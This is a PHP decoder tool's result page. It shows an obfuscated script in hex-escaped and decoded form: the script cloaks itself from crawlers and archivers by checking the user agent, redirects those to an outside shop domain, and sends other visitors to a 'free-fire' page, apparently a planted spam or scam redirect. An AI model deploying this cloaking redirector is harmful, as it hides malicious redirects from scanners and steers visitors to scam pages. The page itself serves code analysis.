Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72m\x70\x6dn\x6fn\x6ax\x61\x67"]="\x75a";${"\x47\x..

Decoded Output download

<?php ${"GLOBALS"}["rmpmnonjxag"]="ua";${"GLOBALS"}["hidktcoa"]="ua";${"GLOBALS"}["undfryuoneu"]="ua";$yivfhw="ua";${$yivfhw}=$_SERVER["HTTP_USER_AGENT"];if(preg_match("#Mozilla/4.05 [fr] (Win98; I)#",${${"GLOBALS"}["hidktcoa"]})||preg_match("/Java1.1.4/si",${${"GLOBALS"}["hidktcoa"]})||preg_match("/MS FrontPage Express/si",${${"GLOBALS"}["hidktcoa"]})||preg_match("/HTTrack/si",${${"GLOBALS"}["hidktcoa"]})||preg_match("/IDentity/si",${${"GLOBALS"}["rmpmnonjxag"]})||preg_match("/HyperBrowser/si",${${"GLOBALS"}["undfryuoneu"]})||preg_match("/Lynx/si",${${"GLOBALS"}["hidktcoa"]})){header("Location: https://www.tokopulberaja.com");die();}echo "<meta http-equiv="refresh" content="0;url=id/free-fire\" />
"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72m\x70\x6dn\x6fn\x6ax\x61\x67"]="\x75a";${"\x47\x4c\x4fB\x41\x4c\x53"}["h\x69d\x6b\x74\x63\x6f\x61"]="\x75a";${"\x47\x4cO\x42\x41L\x53"}["un\x64fr\x79u\x6f\x6e\x65\x75"]="\x75\x61";$yivfhw="u\x61";${$yivfhw}=$_SERVER["HTT\x50_USER_\x41GENT"];if(preg_match("\x23\x4d\x6f\x7ail\x6c\x61/\x34\x2e\x305 [f\x72]\x20(\x57in\x398; \x49)#",${${"\x47\x4c\x4fBALS"}["\x68id\x6b\x74\x63o\x61"]})||preg_match("/\x4aav\x611\x2e\x31.4/si",${${"\x47\x4c\x4fB\x41LS"}["\x68\x69\x64\x6b\x74co\x61"]})||preg_match("/M\x53 \x46\x72\x6f\x6et\x50\x61g\x65\x20E\x78\x70\x72ess/\x73i",${${"GL\x4fB\x41\x4c\x53"}["\x68\x69d\x6bt\x63o\x61"]})||preg_match("/\x48T\x54r\x61\x63\x6b/s\x69",${${"G\x4c\x4f\x42\x41\x4c\x53"}["h\x69\x64k\x74\x63\x6f\x61"]})||preg_match("/\x49Den\x74i\x74\x79/\x73i",${${"\x47\x4c\x4f\x42\x41L\x53"}["r\x6dp\x6dn\x6fn\x6ax\x61g"]})||preg_match("/\x48\x79p\x65rB\x72\x6fws\x65r/si",${${"\x47\x4c\x4fB\x41LS"}["undf\x72\x79\x75o\x6e\x65\x75"]})||preg_match("/L\x79n\x78/si",${${"G\x4cO\x42\x41\x4c\x53"}["hi\x64\x6b\x74\x63o\x61"]})){header("\x4coc\x61ti\x6f\x6e:\x20ht\x74\x70\x73://\x77w\x77.\x74oko\x70\x75\x6c\x62\x65r\x61ja.com");die();}echo "\x3c\x6det\x61\x20\x68ttp-\x65q\x75\x69\x76=\x22r\x65\x66\x72\x65\x73h\x22\x20c\x6fn\x74e\x6e\x74=\x22\x30;\x75rl\x3d\x69\x64/\x66r\x65e-f\x69r\x65\"\x20/>\n";
?>

Function Calls

header 1
preg_match 7

Variables

ua None
$yivfhw ua
GLOBALS [{'key': 'rmpmnonjxag', 'value': 'ua'}, {'key': 'hidktcoa', 'value': 'ua'}, {'key': 'undfryuoneu', 'value': 'ua'}]

Stats

MD5 3227168bd624added75ceb3b6dc3485a
Eval Count 0
Decode Time 104 ms